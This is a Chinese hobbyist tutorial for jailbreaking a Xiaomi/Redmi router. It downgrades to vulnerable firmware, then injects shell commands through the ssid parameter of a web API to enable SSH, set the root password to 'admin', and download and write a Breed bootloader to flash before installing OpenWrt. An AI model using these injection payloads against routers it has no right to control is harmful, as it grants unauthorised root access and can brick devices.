一、准备工作

1、连接好路由器的内外网口，并让路由器能正常上网

2、用电脑浏览器输入192.168.31.1并登陆

3、降级官方固件到2.0.7固件（红米漏洞版本）

点击右上角选择固件升级-升级到漏洞版本
固件下载

4、刷完漏洞固件重启，重新登陆192.168.31.1，查看浏览器地址栏那stok=后面的值
每个人这个值都是不同的，复制下备用（重要）

二、打开路由器的ssh
1、打开SSH

http://192.168.31.1/cgi-bin/luci/;stok=你自己浏览器显示的值/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20nvram%20set%20ssh_en%3D1%3B%20nvram%20commit%3B%20sed%20-i%20’s%2Fchannel%3D.*%2Fchannel%3D%5C%22debug%5C%22%2Fg’%20%2Fetc%2Finit.d%2Fdropbear%3B%20%2Fetc%2Finit.d%2Fdropbear%20start%3B

2、修改ssh登录密码
http://192.168.31.1/cgi-bin/luci/;stok=你自己浏览器显示的值/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20echo%20-e%20’admin%5Cnadmin’%20%7C%20passwd%20root%3B

三、在线刷入Breed（注意确保路由器在联网状态）

http://192.168.31.1/cgi-bin/luci/;stok=你自己浏览器显示的值/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=%0Acd%20%2Ftmp%0Acurl%20-o%20B%20-O%20https%3A%2F%2Fbreed.hackpascal.net%2Fbreed-mt7621-xiaomi-r3g.bin%20-k%0A%5B%20-z%20%22%24(sha256sum%20B%20%7C%20grep%20242d42eb5f5aaa67ddc9c1baf1acdf58d289e3f792adfdd77b589b9dc71eff85)%22%20%5D%20%7C%7C%20mtd%20-r%20write%20B%20Bootloader%0A

大概要等个几分钟，注意观察路由器的指示灯，看看有没有自动重启

如果都正常后，拔出路由器电源，然后按住restart插上电源启动，等路由器灯一直闪烁后
浏览器打开192.168.1.1，进入Breed

找到环境变量增加：xiaomi.r3g.bootfw 值：2 然后保存

四、刷固件

刷入openwrt过度包

过度包下载

等待重启正常后
浏览器打开192.168.1.1，直接回车进入设置
升级openwrt到相应的版本即可

openwrt多功能版2.17下载

如果是刷老毛子Padavan 固件就不用刷过度包了。直接在Breed刷入即可